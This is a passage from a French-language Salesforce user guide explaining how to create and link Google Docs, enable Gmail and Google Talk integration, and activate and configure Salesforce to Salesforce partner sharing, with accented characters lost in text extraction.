nom du bouton radio dpend du type de document Google que vous dcidez de crer.
b. Entrez un nom pour le document, la feuille de calcul ou la prsentation.
c. Cliquez sur Crer un document Google. Le document vierge s'affiche avec le nom que vous lui avez attribu. Vous
pouvez commencer modifier votre document ; il est automatiquement associ l'enregistrement slectionn.
Conseil: Lorsque votre document Google est ouvert, pensez le partager avec d'autres utilisateurs Google
Apps de votre socit. Seuls les utilisateurs avec l'accs au document Google dans leur compte Google Apps
peuvent consulter le document depuis la page de dtails d'enregistrement.

Salesforce pour Google Apps

Guide de l'utilisateur | Ajout de Google Documents Salesforce.com | 1845

4. Pour crer un nouveau document Google en convertissant un autre format de fichier vers Google Documents :
a. Aprs avoir choisi un type de document dans la liste droulante Ajouter un document Google, choisissez Crer
l'aide d'un fichier existant.
b. Slectionnez le fichier convertir. Salesforce.com peut convertir les types de fichiers suivants en documents Google :

Fichiers de documents Microsoft Word (doc), texte (txt), format de texte complet (rtf ), OpenDocument text (odt)
ou StarOffice (swx), jusqu' 500 Ko pour chacun
Fichiers Microsoft Excel (xls), valeurs spares par des virgules (csv) ou feuilles de calcul OpenDocument (ots),
jusqu' 1 Mo pour chacun
Remarque: Si la virgule ne convient pas vos paramtre rgionaux, utilisez une tabulation ou un autre
sparateur.

Fichiers Microsoft PowerPoint (ppt ou pps), jusqu' 10 Mo pour chacun

c. Entrez un nom pour le document, la feuille de calcul ou la prsentation.

d. Cliquez sur Crer un document Google. Le fichier que vous tlchargez est converti en un document, une prsentation
ou une feuille de calcul Google. Vous pouvez commencer modifier votre document ; il est automatiquement associ
l'enregistrement slectionn.
Conseil: Lorsque votre document Google est ouvert, pensez le partager avec d'autres utilisateurs Google
Apps de votre socit. Seuls les utilisateurs avec l'accs au document Google dans leur compte Google Apps
peuvent consulter le document depuis la page de dtails d'enregistrement.

Pour lier un document Google existant un enregistrement, reportez-vous la rubrique Modification des liens de
GoogleDocument la page 1847.
Cration de Google Documents depuis la page d'accueil Documents
La page d'accueil Documents de votre compte Google Apps rpertorie tous les documents Google crs avec votre compte
Google Apps ou que d'autres utilisateurs ont partags avec votre compte. Vous pouvez accder la page d'accueil Documents
en vous connectant votre compte Google Apps et en accdant la mme page.
Conseil: Comme raccourci, vous pouvez afficher la page d'accueil Documents dans Salesforce.com si l'onglet Google
Documents est activ.
Si le bouton de navigateur Ajouter un document Google Salesforce.com est install dans votre navigateur, crez un document
Google, puis cliquez sur le bouton de navigateur pour associer le document Google aux enregistrements ou aux espaces de
travail Salesforce.com. Pour plus d'informations, reportez-vous Association de Google Documents des enregistrements
Salesforce.com la page 1849.
Ajout de nouveaux documents Google un espace de travail Salesforce CRM Content
Crez un nouveau document Google, publiez le dans un espace de travail et partagez-le avec les autres membres de cet espace
de travail.
1. Dans l'onglet Espaces de travail, slectionnez Nouveau document, Nouvelle feuille de calcul ou Nouvelle prsentation
dans la liste droulante Ajouter un document Google. Il se peut que le systme vous invite vous connecter Google Apps.
2. Entrez le nom du document, de la feuille de calcul ou de la prsentation et cliquez sur Crer un document Google. Un
document Google vierge s'affiche pour vous permettre d'ajouter du texte. La bote de dialogue Enregistrer ou Publier le
contenu dans Salesforce CRM Content s'affiche galement.
3. Dans la bote de dialogue Enregistrer ou Publier le contenu :

Salesforce pour Google Apps

Guide de l'utilisateur | Ajout de Google Documents Salesforce.com | 1846

a. Vous pouvez galement entrer la description du document Google. Elle fournit un aperu des informations aux utilisateurs
qui visualisent la page de dtails du contenu du document dans Salesforce CRM Content.
b. Choisissez un espace de travail. Si vous ne souhaitez pas publier le document dans un espace public, par exemple si
votre travail n'est pas termin, slectionnez Enregistrer dans mon espace de travail personnel.
c. Vous pouvez aussi choisir une langue. La liste droulante Langue s'affiche si le support multilingue est activ. Si vous
ne slectionnez pas une langue, Salesforce CRM Content associe le contenu votre paramtre de langue personnel. Si
des utilisateurs restreignent leurs recherches de contenu une langue particulire, seul le contenu associ cette langue
est affich dans l'ensemble des rsultats de recherche.
d. Pour publier le contenu pour le compte d'un autre auteur, choisissez l'auteur dans la liste droulante.
e. Baliser votre contenu. Vos autorisations de balisage dpendent de la rgle de balisage attribue l'espace de travail :

Si l'espace de travail ne possde pas de rgle de balisage ou si votre administrateur a attribu une rgle de balisage
ouverte, vous pouvez saisir des balises dans le champ Balises. Lorsque vous saisissez une balise, Salesforce CRM
Content suggre automatiquement des balises en fonction de votre liste Mes balises rcentes et de la section Balises
courantes dans l'onglet Espaces de travail. La liste Mes balises rcentes de la fentre Contribuer affiche les 20 balises
que vous avez utilises le plus rcemment. Cliquez sur une balise pour l'ajouter automatiquement dans le champ
Balises.
Si votre administrateur a attribu la rgle de balisage assist, vous pouvez choisir dans la liste des balises proposes
ou saisir une nouvelle balise. Cliquez sur une balise suggre pour l'ajouter automatiquement dans le champ Balises.
Si votre administrateur a attribu la rgle de balisage limit, vous devez choisir dans la liste des balises proposes.
Lorsque vous slectionnez une balise, elle prend la couleur verte.

f. Si plusieurs types de contenus sont disponibles, choisissez-en un dans la liste droulante. Le type de contenu dtermine
les champs personnaliss qui apparaissent pour que vous puissiez classer et dfinir votre contenu.
g. Aprs avoir renseign les champs personnaliss, cliquez sur Publier pour enregistrer le document Google dans son
espace de travail Salesforce CRM Content ou sur Annuler pour l'enregistrer dans votre espace de travail personnel.
Dans cet emplacement, vous pouvez supprimer le document de Salesforce CRM Content ou le publier ultrieurement.
Lorsqu'un document Google est publi dans Salesforce CRM Content, tous les membres de l'espace de travail peuvent
le consulter et donner leur avis (votes et commentaires, par exemple).
Remarque: Lorsque votre document Google est ouvert, pensez le partager avec d'autres utilisateurs Google Apps
de votre socit. Seuls les utilisateurs qui ont accs au document Google dans leur compte Google Apps peuvent l'ouvrir
depuis Salesforce CRM Content.

Voir aussi :
Utilisation de Google Documents dans Salesforce.com
Installation du bouton du navigateur Ajouter Google Documents Salesforce.com

Salesforce pour Google Apps

Guide de l'utilisateur | Modification des liens de Google Documents | 1847

Modification des liens de Google Documents

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Modification des liens des documents Google :

Autorisation de lecture sur le type d'enregistrement appropri

AND
Compte Google Apps

Remarque: Pour utiliser un service Google Apps dans Salesforce.com, vous devez tre connect votre compte
professionnel Google Apps. Les comptes professionnels utilisent le domaine de votre socit, par exemple,
jean.perrin@socit.com. Si vous n'tes pas sr de votre nom d'utilisateur et mot de passe Google Apps, contactez
votre administrateur.
Vous pouvez associer un document Google existant un enregistrement Salesforce.com en ajoutant le nom et l'URL de ce
document Google l'enregistrement. Un document Google est celui auquel vous avez dj accd sur votre compte Google
Apps mais qui n'est pas associ l'enregistrement que vous consultez actuellement.
Remarque: Pour ajouter un document Google un espace de travail Salesforce CRM Content, reportez-vous
Contribution de Google Docs Salesforce CRM Content la page 1779.
Pour ajouter un document Google existant un enregistrement :
1. Affichez l'enregistrement associer au document Google.
2. Dans la liste associe aux Google Documents, aux notes et aux pices jointes ou la liste associe aux Google Documents
et aux pices jointes, cliquez sur Ajouter un Google Document et choisissez Ajouter.
3. Indiquez un nom pour le document Google et son URL.
4. Cliquez sur Enregistrer.
Conseil: Vous pouvez trouver l'URL en cliquant sur Accder Google Documents.

Une fois le document Google associ un enregistrement Salesforce.com, l'option Modifier en regard de ce document dans
la liste associe Google Documents, aux notes et aux pices jointes ou Google Documents et aux pices jointes permet
d'afficher la page Ajouter un Google Document existant. Modifiez le nom et l'URL, si ncessaire.

Salesforce pour Google Apps Guide de l'utilisateur | Installation du bouton du navigateur Ajouter Google Documents
S
a
l
e
s
f
o
r
c
e
.
c
o
m
|
1
8

Conseil: Pour plus d'informations sur l'utilisation de Google Documents, consultez l'aide en ligne de Google.

Voir aussi :
Utilisation de Google Documents dans Salesforce.com
Ajout de Google Documents Salesforce.com
Installation du bouton du navigateur Ajouter Google Documents Salesforce.com

Installation du bouton du navigateur Ajouter Google

Documents Salesforce.com
Disponible avec : Toutes les ditions

Un bouton de navigateur est une applet ou une petite application informatique qui offre des fonctionnalits en un seul clic
la manire d'un signet. Le bouton du navigateur Ajouter un document Google Salesforce permet d'associer un document
Google plusieurs enregistrements Salesforce.com en une seule fois, mme si vous n'utilisez pas Salesforce.com. Pour utiliser
ce bouton de navigateur, le service Ajouter un document Google Salesforce.com doit tre activ et vous devez installer le
bouton de navigateur dans votre navigateur.
Vous pouvez accder au bouton de navigateur Ajouter un document Google Salesforce.com sur l'onglet Contribuer dans
Salesforce CRM Content ou sur la page de dtail d'un enregistrement :
1. Affiche tout enregistrement dans Salesforce.com qui contient Google Docs, Notes et pices jointes ou Google Docs et
pices jointes la liste associe de la page de dtails de l'enregistrement.
2. Choisissez Ajouter dans le bouton de la liste droulante Ajouter un document Google dans la liste associe Google
Documents, notes et pices jointes ou Google Documents et aux pices jointes. Si la liste associe contient un document
Google, vous pouvez galement cliquer sur Modifier en regard du document Google.
3. Cliquez sur Obtenir le bouton de navigateur au bas de la page.
Remarque: Comme les utilisateurs du portail client et du portail partenaire n'ont pas accs la liste associe Google
Documents, Notes et pices jointes ou Google Documents et pices jointes dans le portail, les utilisateurs du portail
ne peuvent obtenir le bouton de navigateur qu' partir de l'onglet Contribuer dans Salesforce CRM Content.
Si vous utilisez plusieurs types de navigateurs, par exemple, Microsoft Internet Explorer et Mozilla Firefox, installez ce
bouton dans chaque navigateur. Les consignes pour l'installation de ce bouton dpendent de votre navigateur. Dans Firefox,
faites glisser le bouton du navigateur vers la barre d'outils Signets. Dans Apple Safari, faites glisser le bouton du navigateur
vers la barre Signets. Dans Internet Explorer :
Remarque: Les instructions peuvent varier sensiblement selon votre version d'Internet Explorer.

1. Cliquez avec le bouton droit sur le bouton de navigateur, puis slectionnez Ajouter aux favoris dans la page Ajouter un
document Google Salesforce.com.
2. Enregistrez le bouton du navigateur dans le dossier Liens et cliquez sur Ajouter.

Salesforce pour Google Apps

Guide de l'utilisateur | Association de Google Documents Salesforce.com | 1849

3. Dans la barre de menus de votre navigateur, cliquez sur Afficher les barres d'outils et vrifiez que la barre d'outils Liens
s'affiche.
4. Fermez et redmarrer votre navigateur. Le bouton du navigateur s'affiche dans votre barre d'outils Liens.
Remarque: Si vous modifiez votre paramtrage personnel de langue dans Salesforce.com et souhaitez modifier
galement la langue sur le bouton du navigateur, vous devez supprimer et rinstaller ce bouton.

Voir aussi :
Ajout de Google Documents Salesforce.com
Association de Google Documents Salesforce.com

Association de Google Documents Salesforce.com

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Association d'un document Google un enregistrement
Salesforce.com :

Autorisation de lecture sur le type d'enregistrement appropri

AND
Compte Google Apps

Lors de la cration, de la modification ou de la consultation d'un document Google depuis votre page d'accueil Documents
en ligne dans votre compte Google Apps, cliquez sur le bouton du navigateur Ajouter un document Google Salesforce.com
pour associer le document Google un ou plusieurs enregistrements Salesforce.com.
Si Salesforce CRM Content est activ dans votre entreprise, vous pouvez aussi ajouter le document Google un espace de
travail Salesforce CRM Content. L'inclusion de documents Google dans Salesforce CRM Content permet aux utilisateurs
d'accder tous les types de contenus depuis un seul emplacement et d'appliquer la fonctionnalit Salesforce CRM Content
telle que les votes, les commentaires et les abonnements, aux documents Google.
Pour associer un document Google des enregistrements Salesforce.com depuis la page d'accueil Documents :
1. Ouvrez un document Google.
2. Cliquez sur le bouton du navigateur Ajouter Google Documents Salesforce.com
3. Dans le champ Ajouter un document Google , saisissez vos critres de recherche pour l'enregistrement
Salesforce.com.
4. Slectionnez le type d'objet dans la liste droulante et cliquez sur Rechercher.
5. En option, filtrez les rsultats de la recherche l'aide de la case Limiter aux lments que je possde.
6. Dans les rsultats de la recherche, slectionnez un ou plusieurs enregistrements et cliquez sur Ajouter un Google Document
aux enregistrements slectionns. Vous pouvez galement cliquer sur l'un des champs dans la liste des rsultats de la
recherche pour consulter d'autres informations sur les enregistrements.
Pour associer un document Google des enregistrements Salesforce CRM Content depuis la page d'accueil Documents :
1. Ouvrez un document Google.

Salesforce pour Google Apps

Guide de l'utilisateur | Association de Google Documents Salesforce.com | 1850

2. Cliquez sur le bouton du navigateur Ajouter Google Documents Salesforce.com

3. Dans la fentre de messages de Salesforce CRM Content en haut de la page, cliquez sur Publier votre document Google
dans Salesforce CRM Content. Le message ne s'affiche que si vous tes un membre de l'espace de travail de Salesforce
CRM Content et que vous disposez d'une autorisation sur l'espace de travail qui vous permet de contribuer au contenu.
4. Dans la fentre Dcrire et publier, ajouter un titre votre document Google et, si vous le souhaitez, une description.
5. Choisissez un espace de travail.
6. Vous pouvez aussi choisir une langue. La liste droulante Langue s'affiche si le support multilingue est activ. Si vous ne
slectionnez pas une langue, Salesforce CRM Content associe le contenu votre paramtre de langue personnel. Si des
utilisateurs restreignent leurs recherches de contenu une langue particulire, seul le contenu associ cette langue est
affich dans l'ensemble des rsultats de recherche.
7. Pour publier le contenu pour le compte d'un autre auteur, choisissez l'auteur dans la liste droulante.
8. Baliser votre contenu. Vos autorisations de balisage dpendent de la rgle de balisage attribue l'espace de travail :

Si l'espace de travail ne possde pas de rgle de balisage ou si votre administrateur a attribu une rgle de balisage
ouverte, vous pouvez saisir des balises dans le champ Balises. Lorsque vous saisissez une balise, Salesforce CRM
Content suggre automatiquement des balises en fonction de votre liste Mes balises rcentes et de la section Balises
courantes dans l'onglet Espaces de travail. La liste Mes balises rcentes de la fentre Contribuer affiche les 20 balises
que vous avez utilises le plus rcemment. Cliquez sur une balise pour l'ajouter automatiquement dans le champ
Balises.
Si votre administrateur a attribu la rgle de balisage assist, vous pouvez choisir dans la liste des balises proposes ou
saisir une nouvelle balise. Cliquez sur une balise suggre pour l'ajouter automatiquement dans le champ Balises.
Si votre administrateur a attribu la rgle de balisage limit, vous devez choisir dans la liste des balises proposes. Lorsque
vous slectionnez une balise, elle prend la couleur verte.

9. Si plusieurs types de contenus sont disponibles, choisissez-en un dans la liste droulante. Le type de contenu dtermine
les champs personnaliss qui apparaissent pour que vous puissiez classer et dfinir votre contenu.
10. Aprs avoir rempli des champs personnaliss, cliquez sur Publier. Tous les membres de l'espace de travail peuvent dsormais
rechercher ce document et fournir des commentaires ou des votes.
Remarque: Lorsque votre document Google est ouvert, pensez le partager avec d'autres utilisateurs Google Apps
de votre socit. Seuls les utilisateurs de Google Apps avec lesquels le document est partag peuvent consulter et
modifier le document.

Voir aussi :
Utilisation de Google Documents dans Salesforce.com
Ajout de Google Documents Salesforce.com
Prsentation de Google Apps

Salesforce pour Google Apps

Guide de l'utilisateur | Activation de l'onglet Google Documents | 1851

Activation de l'onglet Google Documents

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Activation ou dsactivation de l'onglet Google Documents : Personnaliser l'application

Important: Une fois un service Google Apps activ dans Salesforce.com, il est visible par tous les utilisateurs de votre
organisation. Pour utiliser ces services, vos utilisateurs doivent possder des comptes Google Apps sur votre domaine.
Pour plus d'informations, reportez-vous la rubrique Mise en route de Salesforce et Google Apps la page 1834.
Google Documents permet de crer des documents, des feuilles de calcul et des prsentations la demande, puis de les
modifier dans votre navigateur. Ensuite, vous pouvez travailler en temps rel avec d'autres collaborateurs. L'onglet Google
Documents de Salesforce.com contient la page d'accueil Documents pour le compte Google Apps de chaque utilisateur. Il
permet de consulter et de grer tous leurs documents Google dans Salesforce.com. Si le service Ajouter un Google Document
Salesforce.com est galement activ, l'utilisateur peut installer un bouton de navigateur qui permet d'associer simplement
des documents Google des enregistrements Salesforce.com dans l'onglet Google Documents.
Pour activer ou dsactiver l'onglet Google Documents dans Salesforce.com :
Cliquez sur Configuration Google Apps Paramtres.
Cliquez sur Modifier en regard de l'option de l'onglet Google Documents de la liste Activer les services Google Apps.
Cochez ou dslectionnez la case Activer.
Si vous activez l'onglet Google Documents, lisez les conditions d'utilisation et cochez la case qui indique que vous acceptez
ces conditions.
5. Cliquez sur Enregistrer.
1.
2.
3.
4.

Voir aussi :
Utilisation de Google Documents dans Salesforce.com
Installation du bouton du navigateur Ajouter Google Documents Salesforce.com
Ajout de Google Documents Salesforce.com

Salesforce pour Google Apps

Guide de l'utilisateur | Utilisation de Gmail dans Salesforce.com | 1852

Utilisation de Gmail dans Salesforce.com

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Activation de Gmail dans Salesforce.com :

Personnaliser l'application

Important: Une fois un service Google Apps activ dans Salesforce.com, il est visible par tous les utilisateurs de votre
organisation. Pour utiliser ces services, vos utilisateurs doivent possder des comptes Google Apps sur votre domaine.
Pour plus d'informations, reportez-vous la rubrique Mise en route de Salesforce et Google Apps la page 1834.
Gmail (aussi appel Google Mail) est un service de messagerie Internet gratuit de Google qui fonctionne sur tous les
navigateurs standard et peut tre utilis avec le domaine de votre socit. Vous pouvez intgrer Gmail Salesforce.com de
deux manires :

Gmail to Salesforce.com
Boutons et liens Gmail

Gmail to Salesforce.com
Gmail to Salesforce.com permet de consigner automatiquement les e-mails envoys partir de votre compte Gmail comme
activits dans les pistes, contacts, opportunits et autres enregistrements qui prennent en charge l'historique d'activits dans
Salesforce.com.
Gmail to Salesforce.com est bas sur la fonctionnalit Envoyer un e-mail Salesforce. Pour activer Gmail Salesforce pour
votre entreprise, suivez les instructions dans la rubrique Activation de la fonction Envoyer un e-mail Salesforce la page 352.
Pour dfinir votre configuration personnelle Gmail to Salesforce.com, suivez les instructions de la rubrique Utilisation de mon
e-mail l'adresse Salesforce la page 1392.
Boutons et liens Gmail
L'option Boutons et liens Gmail permet d'ajouter des liens Gmail en regard des champs d'e-mail dans tous les enregistrements
et d'ajouter les boutons Composer un e-mail dans Gmail dans les listes associes l'historique des activits pour les pistes et
les contacts. Lorsque vous cliquez sur un lien Gmail ou sur le bouton Composer un e-mail dans Gmail, Salesforce.com vous
connecte votre compte Gmail et renseigne automatiquement le champ . Si Gmail to Salesforce est activ, Salesforce.com
renseigne galement le champ Cci avec votre adresse Envoyer un e-mail Salesforce.com.
Pour activer les boutons et liens Gmail :
Cliquez sur Configuration Google Apps Paramtres.
Dans la liste Activer les services Google Apps, cliquez sur Modifier en regard des boutons et des liens Gmail.
Cochez la case Actif pour activer les boutons et les liens Gmail de votre entreprise.
Cochez la case Liens Gmail pour ajouter les liens Gmail en regard de tous les champs d'e-mail (sauf ceux sur les pages
sous Configuration).
5. Cochez la case Boutons Gmail pour ajouter les boutons Composer un e-mail dans Gmail dans les listes associes
l'historique des activits pour les pistes et les contacts.
6. Lisez les conditions d'utilisation et cochez la case qui indique que vous avez lu et accept ces conditions.
7. Cliquez sur Enregistrer.
1.
2.
3.
4.

Salesforce pour Google Apps

Guide de l'utilisateur | Utilisation de Google Talk dans Salesforce.com | 1853

Notes sur la mise en uvre

Si votre entreprise active la fonction Boutons et liens Gmail, mais pas Gmail Salesforce.com, vous pouvez toujours utiliser
les liens Gmail pour les enregistrements de contacts et de pistes. Toutefois, Salesforce.com ne consigne ni les e-mails
envoys depuis votre compte Gmail, ni ne renseigne automatiquement le champ Cci dans l'cran Composer un message
avec une adresse e-mail Salesforce.
Pour plus d'informations sur Gmail, consultez l'aide en ligne de Google.

Voir aussi :
Prsentation de Google Apps

Utilisation de Google Talk dans Salesforce.com

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Activation ou dsactivation de Google Talk :

Personnaliser l'application

Important: Une fois un service Google Apps activ dans Salesforce.com, il est visible par tous les utilisateurs de votre
organisation. Pour utiliser ces services, vos utilisateurs doivent possder des comptes Google Apps sur votre domaine.
Pour plus d'informations, reportez-vous la rubrique Mise en route de Salesforce et Google Apps la page 1834.
Google Talk est l'outil de messagerie instantane de Google. Lorsque le composant de menu latral Google Talk est activ
dans Salesforce.com, Google Talk s'affiche au-dessous des champs de recherche du menu latral o il peut tre slectionn,
dslectionn ou dvelopp dans sa propre fentre. Vous pouvez galement consigner un enregistrement de chat en tant
qu'activit dans un enregistrement de piste ou de contact Salesforce.com.
Activation de Google Talk
Pour activer ou dsactiver Google Talk dans Salesforce.com :
1. Cliquez sur Configuration Google Apps Paramtres.
2. Cliquez sur Modifier en regard de l'option Composant du menu latral Google Talk de la liste Activer les services Google
Apps.
3. Cochez ou dslectionnez la case Actif.
4. Si vous activez le composant du menu latral Google Talk, lisez les conditions d'utilisation et cochez la case qui indique
que vous acceptez ces conditions.
5. Cliquez sur Enregistrer.
Conseils d'utilisation de Google Talk

Pour plus d'informations sur l'utilisation de Google Talk, consultez l'aide en ligne de Google.
Google Talk s'affiche dans les prsentations de menu latral standard et personnalises de tous les onglets.
Comme les conversations Google Talk sont automatiquement enregistres dans Gmail, les utilisateurs avec la fonction
Envoyer un e-mail Salesforce peuvent consigner une conversation Google Talk comme activit pour une piste ou un
contact. Pour plus d'informations, reportez-vous Utilisation de Gmail dans Salesforce.com la page 1852.

Salesforce pour Google Apps

Guide de l'utilisateur | Utilisation de Google Talk dans Salesforce.com | 1854

Lorsque Google Talk figure dans le menu latral, l'actualisation d'une page Salesforce.com entrane la dconnexion
momentane et la reconnexion de Google Talk. Pour des conversations plus longues, ouvrez Google Talk dans sa propre
fentre en cliquant sur Fentre externe en regard du composant de menu latral Google Talk.
Google Talk n'est pas disponible pour les utilisateurs du portail client ou du portail partenaire.

Voir aussi :
Prsentation de Google Apps
Configuration de Google Apps dans Salesforce.com

Salesforce to Salesforce
Prsentation de Salesforce to Salesforce
Disponible avec : Toutes les ditions

Salesforce to Salesforce permet la collaboration professionnelle au sein mme des entreprises Salesforce.com, mais galement
entre elles. Ceci vous permet de partager des donnes de piste, d'opportunit, de compte, de contact, de tche, de produit, de
produit d'opportunit, de requte, de commentaires de requte, de pice jointe ou d'enregistrement d'objet personnalis, avec
vos partenaires commerciaux qui utilisent Salesforce.com et d'obtenir des mises jour en temps rel sur les donnes partages.
Par exemple, vous pouvez partager des donnes de piste et d'opportunit avec des partenaires commerciaux, et grer l'intgralit
de vos en-cours et de vos programmes dans Salesforce.com.
Salesforce to Salesforce vous permet, ainsi qu' vos partenaires commerciaux, de collaborer plus facilement et plus efficacement.
Salesforce to Salesforce permet de partager des enregistrements avec une ou plusieurs connexions, chacune acceptant les
enregistrements que vous partagez avec elle, mme si d'autres connexions ont accept le mme enregistrement.
Salesforce to Salesforce permet vos partenaires commerciaux de :

Accder tous leurs programmes depuis un endroit centralis

Intgrer facilement vos donnes aux donnes qu'ils grent dans Salesforce.com
Intgrer leurs processus mtier aux mises jour qu'ils reoivent de votre part en utilisant un workflow, des rgles d'attribution
et des rapports

Salesforce to Salesforce vous permet de :

Bnficier d'une visibilit totale sur l'activit de vos partenaires

Grer l'intgralit de vos en-cours, que ce soit les ventes directes ou les canaux de vente, partir d'un endroit centralis
Partager rapidement et facilement des donnes dans le cadre de partenariats plusieurs niveaux
Intgrer vos processus mtier aux mises jour reues de la part de vos partenaires en utilisant des rgles de workflow et
d'attribution

Avant de vous connecter d'autres entreprises utilisant Salesforce to Salesforce, vous devez raliser les actions suivantes :

Activation de Salesforce to Salesforce

ATTENTION: Lactivation de Salesforce to Salesforce n'est pas rversible. Toutefois, vous pouvez contrler les
informations et les connexions que vous partagez. Vous pouvez arrter le partage ou modifier les paramtres de
partage tout moment. En activant Salesforce to Salesforce, vous acceptez dautoriser salesforce.com traiter les
mises jour des informations dans votre organisation qui sont partages avec d'autres organisations. Salesforce to
Salesforce permet de partager vos donnes avec des destinataires tiers qui peuvent leur tour utiliser Salesforce to
Salesforce pour partager des donnes avec des destinataire tiers que vous ne connaissez pas. Il est de votre
responsabilit de vrifier l'existence de dispositions contractuelles et lgales appropries entre vous-mme et vos
destinataires afin de limiter l'usage et la divulgation de vos donnes partages.

Configuration de Salesforce to Salesforce

Vous pouvez vous connecter des partenaires sans savoir s'ils utilisent Salesforce.com grce la recherche de connexions.
Si vous recevez une invitation vous connecter un partenaire professionnel via Salesforce to Salesforce, reportez-vous
Acceptation ou refus d'une invitation rejoindre Salesforce to Salesforce la page 1860.

Salesforce to Salesforce

Guide de l'utilisateur | Activation de Salesforce to Salesforce | 1856

Pour inviter d'autres entreprises se connecter avec vous via Salesforce to Salesforce, reportez-vous Invitation de partenaires
commerciaux se connecter l'aide de Salesforce to Salesforce.

Voir aussi :
Conseils pour l'utilisation de Salesforce to Salesforce
Dterminer si vos partenaires utilisent Salesforce.com

Activation de Salesforce to Salesforce

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour activer Salesforce to Salesforce :

Modifier toutes les donnes

ATTENTION: Lactivation de Salesforce to Salesforce n'est pas rversible. Toutefois, vous pouvez contrler les
informations et les connexions que vous partagez. Vous pouvez arrter le partage ou modifier les paramtres de partage
tout moment. En activant Salesforce to Salesforce, vous acceptez dautoriser salesforce.com traiter les mises jour
des informations dans votre organisation qui sont partages avec d'autres organisations. Salesforce to Salesforce permet
de partager vos donnes avec des destinataires tiers qui peuvent leur tour utiliser Salesforce to Salesforce pour partager
des donnes avec des destinataire tiers que vous ne connaissez pas. Il est de votre responsabilit de vrifier l'existence
de dispositions contractuelles et lgales appropries entre vous-mme et vos destinataires afin de limiter l'usage et la
divulgation de vos donnes partages.
Pour activer Salesforce to Salesforce :
1.
2.
3.
4.

Cliquez sur Configuration Personnalisation 100 % Salesforce Paramtres.

Cliquez sur Modifier.
Slectionnez Activer.
Cliquez sur Enregistrer.

l'activation de Salesforce to Salesforce, un nouvel utilisateur appel Utilisateur connect est cr. Cet utilisateur n'est pas
pris en compte dans le nombre de licences utilises pour votre entreprise, et il n'est inclus dans aucune vue de gestion des
utilisateurs.
Lorsque vos partenaires commerciaux mettent jour un enregistrement partag, son champ Dernire modification
par dans votre organisation affiche Utilisateur connect qui permet de suivre aisment l'ensemble des modifications
apportes.
Remarque: Salesforce.com recommande d'ajouter l'utilisateur connect vos journaux de dbogage pour pouvoir
suivre les mises jour qu'il effectue.
L'Utilisateur connect est automatiquement attribu au profil Rseau partenaire. Le profil Rseau partenaire ne peut pas tre
modifi et ne figure dans aucune vue de gestion de profil.
Une fois que Salesforce to Salesforce est activ :

Salesforce to Salesforce

Guide de l'utilisateur | Configuration de 100 % Salesforce | 1857

1. Modifiez chaque profil affect aux utilisateurs qui travailleront avec des connexions Salesforce to Salesforce. Activez
l'autorisation Grer les connexions et paramtrez la visibilit de l'onglet Connexion sur Valeur par dfaut active.
L'autorisation Grer les connexions est automatiquement active pour tous les profils dots de l'autorisation Modifier
toutes les donnes .
2. Configurez les paramtres de Salesforce to Salesforce, tels que les modles de communication pour envoyer des invitations
vos partenaires professionnels.
3. Ajoutez la liste associe Partage externe aux prsentations de page pour les profils appropris. Pour plus d'informations,
reportez-vous Partage d'enregistrements via Salesforce to Salesforce la page 1866.
Remarque: Cette liste associe peut tre mise la disposition de tous les utilisateurs, et pas uniquement la
disposition de ceux dots de l'autorisation Grer les connexions.
4. Vous pouvez aussi ajouter les colonnes Nom de connexion en rception et Nom de connexion en envoi aux listes associes
sur les prsentations de page des objets souhaits.
5. Crer et grer vos connexions rseau avec vos partenaires professionnels.

Voir aussi :
Prsentation de Salesforce to Salesforce
Conseils pour l'utilisation de Salesforce to Salesforce
Dterminer si vos partenaires utilisent Salesforce.com

Configuration de 100 % Salesforce

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour configurer 100 % Salesforce :

Modifier toutes les donnes

Vous pouvez configurer 100 % Salesforce afin d'utiliser les modles de communication pour interagir avec vos partenaires
commerciaux. De plus, vous pouvez configurer l'adresse e-mail et le nom utiliss lorsque vous faites appel ces modles de
communication. Pour configurer ces paramtres :
1. Cliquez sur Configuration Personnalisation 100 % Salesforce Paramtres.
2. Cliquez sur Modifier et modifiez les paramtres suivants :
Paramtre

Description

Adresse e-mail d'expdition

Adresse e-mail d'expdition de tous les modles de communication de 100 %

Salesforce (par exemple, partenaire@acme.com ). Salesforce.com envoie les
e-mails automatiquement, mais ils s'affichent pour vos contacts comme s'ils
taient envoys depuis cette adresse e-mail. Si un contact rpond un modle
de communication, la rponse est envoye cette adresse.

Salesforce to SalesforceGuide de l'utilisateur | Invitation de partenaires commerciaux se connecter l'aide de Salesforce to Salesforce | 1858

Paramtre

Description

Nom de l'expditeur

Nom associ l'adresse e-mail d'expdition (par exemple, Responsable de

canaux Acme).

Modle d'invitation

Utilis pour l'envoi des invitations.

Modle de dsactivation

Utilis pour signaler un partenaire commercial que vous avez dsactiv la

connexion.

Modle d'acceptation de
l'invitation

Utilis pour signaler un partenaire commercial que vous avez accept

l'invitation.

Modle de refus de
l'invitation

Utilis pour signaler un partenaire commercial que vous avez dclin

l'invitation.

Modle de mise jour du

profil de connexion

Utilis pour signaler vos partenaires commerciaux les changements apports

un profil de connexion actif.

3. Cliquez sur Enregistrer.

Voir aussi :
Prsentation de Salesforce to Salesforce
Invitation de partenaires commerciaux se connecter l'aide de Salesforce to Salesforce
Gestion des connexions
Partage d'enregistrement utilisant Salesforce to Salesforce

Invitation de partenaires commerciaux se connecter

l'aide de Salesforce to Salesforce
Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour inviter vos partenaires commerciaux se connecter
l'aide de Salesforce to Salesforce :

Grer les connexions

Avant de pouvoir commencer partager les donnes avec vos partenaires commerciaux, vous devez configurer une connexion
via Salesforce to Salesforce. Pour crer cette connexion, vous devez inviter votre partenaire commercial.
Remarque: Avant de commencer le processus d'invitation, vous devez crer un compte et un contact associ pour
votre partenaire commercial.
Pour inviter un partenaire commercial se connecter l'aide de Salesforce to Salesforce :
1. Cliquez sur l'onglet Connexions.

Salesforce to SalesforceGuide de l'utilisateur | Invitation de partenaires commerciaux se connecter l'aide de Salesforce to Salesforce | 1859

2. Cliquez sur Nouveau.

3. Entrez un nom de contact ou utilisez l'icne de recherche pour slectionner un contact.
Important: Assurez-vous que l'adresse e-mail est valide, sinon l'invitation risque d'tre envoye la mauvaise
personne.
4. Slectionnez ventuellement un compte li.
Remarque: Le compte associ la connexion peut tre modifi aprs l'envoi de l'invitation.

